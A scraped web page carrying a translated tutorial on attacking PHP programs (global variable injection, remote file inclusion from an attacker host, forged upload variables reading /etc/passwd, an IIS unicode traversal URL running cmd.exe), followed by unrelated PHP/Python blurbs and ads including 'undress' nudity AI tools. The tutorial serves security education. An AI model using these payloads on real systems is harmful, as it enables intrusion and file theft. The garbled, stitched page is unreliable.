


How to attack common vulnerabilities in PHP programs (Part 1)_PHP Tutorial
How to attack common vulnerabilities in PHP programs (Part 1)
Translation: analysist (analyst)
Source: http://www.china4lert.org
How to attack common vulnerabilities in PHP programs Vulnerability Attack (Part 1)
Original author: Shaun Clowes
Translation: analysist
The reason why I translated this article is because the current articles about CGI security all use Perl as an example, while there are very few articles specifically introducing the security of ASP, PHP or JSP. This article by Shaun Clowes provides a comprehensive introduction to PHP security issues. The original article can be found at http://www.securereality.com.au/studyinscarlet.txt.
Because the original text is relatively long, and a considerable part is about introducing the background of the article or the basic knowledge of PHP, and does not involve PHP security, so I did not translate it. If you want to know more about this, please refer to the original article.
The article mainly analyzes the security of PHP from the aspects of global variables, remote files, file uploads, library files, Session files, data types and error-prone functions, and also discusses how to enhance the security of PHP. Some useful suggestions were made.
Okay, enough nonsense, let’s get down to business!
[Global variables]
Variables in PHP do not need to be declared in advance, they will be automatically created the first time they are used, and their types do not need to be specified, they will be automatically determined based on the context. From a programmer's perspective, this is undoubtedly an extremely convenient method. Obviously, this is also a very useful feature of rapid development languages. Once a variable is created, it can be used anywhere in the program. A consequence of this feature is that programmers rarely initialize variables; after all, when they are first created, they are empty.
Obviously, the main function of PHP-based applications generally accepts user input (mainly form variables, uploaded files, cookies, etc.), then processes the input data, and then returns the results to the client. end browser. In order to make it as easy as possible for PHP code to access user input, PHP actually treats this input data as global variables.
For example:
Obviously, this will display a text box and submit button. When the user clicks the submit button, "test.php" will process the user's input. When "test.php" is run, "$hello" will contain the data entered by the user in the text box. From here we should see that the attacker can create any global variables according to his wishes. If the attacker does not call "test.php" through form input, but directly enters http://server/test.php?hello=hi&setup=no in the browser address bar, then not only "$hello" will be created , "$setup" is also created.
Translator’s Note: These two methods are what we usually call the “POST” and “GET” methods.
The following user authentication code exposes security issues caused by PHP's global variables:
if ($pass == "hello")
$auth = 1 ;
...
if ($auth == 1)
echo "some important information";
?>
The above code first checks whether the user's password is "hello", if matched, set "$auth" to "1", that is, the authentication is passed. Afterwards, if "$suth" is "1", some important information will be displayed.
On the surface it looks correct, and quite a few of us do it, but this code makes the mistake of assuming that "$auth" is empty when no value is set. , but did not expect that the attacker could create any global variable and assign a value. By using a method like "http://server/test.php?auth=1", we can completely deceive this code and make it believe that we have been authenticated. of.
Therefore, in order to improve the security of PHP programs, we cannot trust any variables that are not clearly defined. This can be a very difficult task if there are many variables in the program.
A common protection method is to check the variables in the array HTTP_GET[] or POST_VARS[], which depends on our submission method (GET or POST). When PHP is configured with the "track_vars" option turned on (which is the default), user-submitted variables are available in global variables and the array mentioned above.
But it is worth mentioning that PHP has four different array variables used to process user input. The HTTP_GET_VARS array is used to process variables submitted in GET mode, the HTTP_POST_VARS array is used to process variables submitted in POST mode, the HTTP_COOKIE_VARS array is used to process variables submitted as cookie headers, and for the HTTP_POST_FILES array (provided by relatively new PHP), it is completely An optional way for users to submit variables. A user request can easily store variables in these four arrays, so a secure PHP program should check these four arrays.
[Remote File]
PHP is a language with rich features and provides a large number of functions, making it easy for programmers to implement a certain function. But from a security perspective, the more functions there are, the harder it is to ensure its security. Remote files are a good example of this problem:
if ( !($fd = fopen("$filename", "r"))
echo("Could not open file: $filename
n");
?>
above The script attempts to open the file "$filename" and displays an error message if it fails. Obviously, if we can specify "$filename", we can use this script to browse any file in the system. However, there is another problem with this script. The most obvious feature is that it can read files from any other WEB or FTP site. In fact, most of PHP's file processing functions are transparent to remote files. For example:
If you specify "$filename" as "http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir"
then the above code actually uses the host The unicode vulnerability on the target executes the dir command. This makes the include(), require(), include_once() and require_once() functions that support remote files more interesting in the context. The function is to include the contents of specified files and interpret them according to PHP code. It is mainly used for library files. For example:
include($libdir . "/languages. .php");
?>
In the above example, "$libdir" is usually a path that has been set before executing the code. If the attacker can prevent "$libdir" from being set, , then he can change this path. But the attacker can't do anything because they can only access the file languages.php in the path they specify (the "Poison null byte" attack in perl has no effect on PHP). With support for remote files, an attacker can do anything. For example, an attacker can place a file languages.php on a server with the following content:
passthru("/bin/ls /etc");
?>
Then set "$libdir" to "http://
It should be noted that the attacking server (i.e. evilhost) should not be able to execute PHP code, otherwise the attacking code will be executed on the attacking server instead of the target server. If you want to know the specific technical details, please refer to: http://www.securereality.com.au/sradv00006.txt
[File upload]
PHP automatically supports file upload based on RFC 1867, let’s look at the following example:
The above code allows the user to select a file from the local machine. Once you click Submit, the file will be uploaded to the server. This is obviously a useful feature, but the way PHP responds makes it unsafe. When PHP first receives such a request, even before it starts parsing the called PHP code, it will first accept the file from the remote user and check whether the length of the file exceeds the value defined by the "$MAX_FILE_SIZE variable". If it passes these For testing, the file will be stored in a local temporary directory.
Therefore, an attacker can send arbitrary files to the host running PHP. Before the PHP program decides whether to accept the file upload, the file has already been stored on the server.
I will not discuss the possibility of using file upload to conduct a DOS attack on the server here.
Let's consider a PHP program that handles file uploads. As we said above, the file is received and stored on the server (the location is specified in the configuration file, usually /tmp), and the extension is usually Random, similar to "phpxXuoXG" form. The PHP program needs to upload the file's information in order to process it, and this can be done in two ways, one that was already used in PHP 3, and the other that was introduced after we made a security advisory on the previous method.
However, we can say with certainty that the problem still exists, and most PHP programs still use the old way to handle uploaded files.PHP sets four global variables to describe uploaded files, such as the above example:
$hello = Filename on local machine (e.g "/tmp/phpxXuoXG")
$hello_size = Size in bytes of file (e.g 1024)
$hello_name = The original name of the file on the remote system (e.g "c:\temp\hello.txt")
$hello_type = Mime type of uploaded file (e.g "text/ plain")
Then the PHP program starts processing the file specified according to "$hello". The problem is that "$hello" is not necessarily a variable set by PHP, and any remote user can specify it. If we use the following method:
http://vulnhost/vuln.php?hello=/etc/passwd&hello_size=10240&hello_type=text/plain&hello_name=hello.txt
results in the following PHP global variables (of course POST method is also possible (even Cookie)):
$hello = "/etc/passwd"
$hello_size = 10240
$hello_type = "text/plain"
$hello_name = "hello.txt"
The above form data just meets the variables expected by the PHP program, but at this time the PHP program no longer processes the uploaded file, but processes "/etc/passwd ” (often resulting in content exposure). This attack can be used to expose the contents of any sensitive file.
As I said before, the new version of PHP uses HTTP_POST_FILES[] to decide to upload files. It also provides many functions to solve this problem. For example, there is a function to determine whether a file is actually Uploaded files. These functions solve this problem very well, but in fact there must be many PHP programs that still use the old method and are vulnerable to this attack.
As a variant of the file upload attack method, let’s take a look at the following piece of code:
if (file_exists($theme)) // Checks the file exists on the local system (no remote files)
include("$theme");
?>
If the attacker can control "$theme", it is obvious that it can exploit " $theme" to read any file on the remote system. The attacker's ultimate goal is to execute arbitrary instructions on the remote server, but he cannot use the remote file, so he must create a PHP file on the remote server. This may seem impossible at first, but file uploading does this for us. If the attacker first creates a file containing PHP code on the local machine, and then creates a form containing a file field named "theme" , and finally use this form to submit the created file containing PHP code to the above code through file upload. PHP will save the file submitted by the attacker and set the value of "$theme" to the file submitted by the attacker. In this way, the file_exists() function will pass the check and the attacker's code will be executed.
After gaining the ability to execute arbitrary instructions, the attacker obviously wants to escalate privileges or expand the results, which requires some tool sets that are not available on the server, and file uploading once again helped us. An attacker can use the file upload function to upload tools, store them on the server, and then use their ability to execute commands, use chmod() to change the permissions of the file, and then execute it. For example, an attacker can bypass the firewall or IDS to upload a local root attack program and then execute it, thus gaining root privileges.

What’s still popular is the ease of use, flexibility and a strong ecosystem. 1) Ease of use and simple syntax make it the first choice for beginners. 2) Closely integrated with web development, excellent interaction with HTTP requests and database. 3) The huge ecosystem provides a wealth of tools and libraries. 4) Active community and open source nature adapts them to new needs and technology trends.

PHP and Python are both high-level programming languages that are widely used in web development, data processing and automation tasks. 1.PHP is often used to build dynamic websites and content management systems, while Python is often used to build web frameworks and data science. 2.PHP uses echo to output content, Python uses print. 3. Both support object-oriented programming, but the syntax and keywords are different. 4. PHP supports weak type conversion, while Python is more stringent. 5. PHP performance optimization includes using OPcache and asynchronous programming, while Python uses cProfile and asynchronous programming.

PHP is mainly procedural programming, but also supports object-oriented programming (OOP); Python supports a variety of paradigms, including OOP, functional and procedural programming. PHP is suitable for web development, and Python is suitable for a variety of applications such as data analysis and machine learning.

PHP originated in 1994 and was developed by RasmusLerdorf. It was originally used to track website visitors and gradually evolved into a server-side scripting language and was widely used in web development. Python was developed by Guidovan Rossum in the late 1980s and was first released in 1991. It emphasizes code readability and simplicity, and is suitable for scientific computing, data analysis and other fields.

PHP is suitable for web development and rapid prototyping, and Python is suitable for data science and machine learning. 1.PHP is used for dynamic web development, with simple syntax and suitable for rapid development. 2. Python has concise syntax, is suitable for multiple fields, and has a strong library ecosystem.

PHP remains important in the modernization process because it supports a large number of websites and applications and adapts to development needs through frameworks. 1.PHP7 improves performance and introduces new features. 2. Modern frameworks such as Laravel, Symfony and CodeIgniter simplify development and improve code quality. 3. Performance optimization and best practices further improve application efficiency.

PHPhassignificantlyimpactedwebdevelopmentandextendsbeyondit.1)ItpowersmajorplatformslikeWordPressandexcelsindatabaseinteractions.2)PHP'sadaptabilityallowsittoscaleforlargeapplicationsusingframeworkslikeLaravel.3)Beyondweb,PHPisusedincommand-linescrip

PHP type prompts to improve code quality and readability. 1) Scalar type tips: Since PHP7.0, basic data types are allowed to be specified in function parameters, such as int, float, etc. 2) Return type prompt: Ensure the consistency of the function return value type. 3) Union type prompt: Since PHP8.0, multiple types are allowed to be specified in function parameters or return values. 4) Nullable type prompt: Allows to include null values and handle functions that may return null values.


Hot AI Tools

Undresser.AI Undress
AI-powered app for creating realistic nude photos

AI Clothes Remover
Online AI tool for removing clothes from photos.

Undress AI Tool
Undress images for free

Clothoff.io
AI clothes remover

Video Face Swap
Swap faces in any video effortlessly with our completely free AI face swap tool!

Hot Article

Hot Tools

mPDF
mPDF is a PHP library that can generate PDF files from UTF-8 encoded HTML. The original author, Ian Back, wrote mPDF to output PDF files "on the fly" from his website and handle different languages. It is slower than original scripts like HTML2FPDF and produces larger files when using Unicode fonts, but supports CSS styles etc. and has a lot of enhancements. Supports almost all languages, including RTL (Arabic and Hebrew) and CJK (Chinese, Japanese and Korean). Supports nested block-level elements (such as P, DIV),

SecLists
SecLists is the ultimate security tester's companion. It is a collection of various types of lists that are frequently used during security assessments, all in one place. SecLists helps make security testing more efficient and productive by conveniently providing all the lists a security tester might need. List types include usernames, passwords, URLs, fuzzing payloads, sensitive data patterns, web shells, and more. The tester can simply pull this repository onto a new test machine and he will have access to every type of list he needs.

VSCode Windows 64-bit Download
A free and powerful IDE editor launched by Microsoft

Dreamweaver CS6
Visual web development tools

MantisBT
Mantis is an easy-to-deploy web-based defect tracking tool designed to aid in product defect tracking. It requires PHP, MySQL and a web server. Check out our demo and hosting services.